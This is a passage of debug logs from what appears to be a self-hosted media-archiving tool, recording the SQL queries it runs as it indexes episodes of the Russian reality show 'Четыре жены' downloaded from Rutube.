"sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76330] 20:59:29.952 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "duration" => 7209, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", "id" => "33fe5158059d835e1850255b168d6db4", "original_url" => "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", "playlist_index" => 8, "timestamp" => 1689260410, "title" => "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "upload_date" => "20230713"} 20:59:29.954 [debug] QUERY OK source="sources" db=1.5ms idle=151.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:29.955 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:29.956 [debug] QUERY OK source="media_items" db=1.3ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 15:00:10Z], 6] 20:59:30.071 [debug] QUERY OK source="media_items" db=113.6ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "006ebb44-2ccf-42d5-a1cd-d5c6587f6229", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", 8, "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, false, false, 6, [], 1, ~U[2023-07-13 15:00:10Z], ~U[2025-12-09 17:59:29Z], ~U[2025-12-09 17:59:29Z], "Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, 6, ~U[2023-07-13 15:00:10Z]] 20:59:30.074 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=119.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.075 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=120.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:30.077 [debug] QUERY OK source="media_items" db=0.4ms idle=121.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76331] 20:59:30.077 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "duration" => 7100, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", "id" => "bf2495e6657bbc1a1be5ee29b52ca7ff", "original_url" => "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", "playlist_index" => 9, "timestamp" => 1689864005, "title" => "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "upload_date" => "20230720"} 20:59:30.079 [debug] QUERY OK source="sources" db=1.6ms idle=121.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:30.080 [debug] QUERY OK source="sources" db=0.4ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.081 [debug] QUERY OK source="media_items" db=0.6ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 14:40:05Z], 6] 20:59:30.181 [debug] QUERY OK source="media_items" db=99.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "399a9349-5bfd-4a45-ac15-8fb5635d9bec", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", 9, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, false, false, 6, [], 1, ~U[2023-07-20 14:40:05Z], ~U[2025-12-09 17:59:30Z], ~U[2025-12-09 17:59:30Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, 6, ~U[2023-07-20 14:40:05Z]] 20:59:30.182 [debug] QUERY OK source="sources" db=1.1ms idle=104.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.183 [debug] QUERY OK source="media_profiles" db=0.4ms idle=103.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:30.184 [debug] QUERY OK source="media_items" db=0.5ms idle=103.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76332] 20:59:30.185 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "duration" => 6925, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", "id" => "0329dc4cd3ca338a2b3f2a85d60fac5a", "original_url" => "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", "playlist_index" => 10, "timestamp" => 1690470010, "title" => "Четыре жены: Жена с характером, творческая, свободная и подруга", "upload_date" => "20230727"} 20:59:30.187 [debug] QUERY OK source="sources" db=0.6ms idle=104.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:30.188 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.190 [debug] QUERY OK source="media_items" db=1.2ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 15:00:10Z], 6] 20:59:30.533 [debug] QUERY OK source="media_items" db=341.9ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "a951b31b-02d8-44ae-a31c-917c7499428a", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", 10, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, false, false, 6, [], 1, ~U[2023-07-27 15:00:10Z], ~U[2025-12-09 17:59:30Z], ~U[2025-12-09 17:59:30Z], "Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, 6, ~U[2023-07-27 15:00:10Z]] 20:59:30.536 [debug] QUERY OK source="sources" db=1.4ms idle=347.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.538 [debug] QUERY OK source="media_profiles" db=1.0ms idle=348.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:30.539 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=348.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76333] 20:59:30.540 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "duration" => 7418, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", "id" => "de6aaa9de4796334005ea0feac7c3ef2", "original_url" => "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", "playlist_index" => 11, "timestamp" => 1691074810, "title" => "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "upload_date" => "20230803"} 20:59:30.541 [debug] QUERY OK source="sources" db=1.0ms idle=125.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:30.547 [debug] QUERY OK source="sources" db=3.2ms queue=0.1ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.548 [debug] QUERY OK source="media_items" db=0.8ms idle=11.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 15:00:10Z], 6] 20:59:30.685 [debug] QUERY OK source="media_items" db=135.7ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "a1a285d9-6047-471f-87e3-a1477c829c69", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", 11, "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, false, false, 6, [], 1, ~U[2023-08-03 15:00:10Z], ~U[2025-12-09 17:59:30Z], ~U[2025-12-09 17:59:30Z], "4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, 6, ~U[2023-08-03 15:00:10Z]] 20:59:30.689 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=147.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.691 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=148.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:30.692 [debug] QUERY OK source="media_items" db=0.5ms idle=144.2ms SELECT 1 FROM 